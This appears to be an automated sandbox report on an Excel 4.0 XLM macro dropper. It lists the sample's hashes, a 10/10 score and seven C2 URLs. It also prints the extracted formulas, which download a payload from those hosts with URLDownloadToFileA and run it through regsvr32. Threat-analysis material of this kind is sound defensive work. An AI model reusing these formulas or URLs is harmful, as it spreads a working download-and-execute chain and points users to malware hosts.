1e879b296304fae2a8d1425c90c956cc3db396afef6da2be85c914380cf38d11

General

Target

1e879b296304fae2a8d1425c90c956cc3db396afef6da2be85c914380cf38d11
Size

51KB
Sample

241120-ntek1awnbv
MD5

4476f2a4e5155d7a73d3663006523363
SHA1

473943961cf5d1186138213fd2afa233694a2b7f
SHA256

1e879b296304fae2a8d1425c90c956cc3db396afef6da2be85c914380cf38d11
SHA512

7468f82aa1aed28240090d469c9fb2f73a7a152384afc6336caf0edde603296507086880e07b542f601984732e8987dfe07063c790f6f57e61c0755100f73d9c
SSDEEP

768:6ICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:6ItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/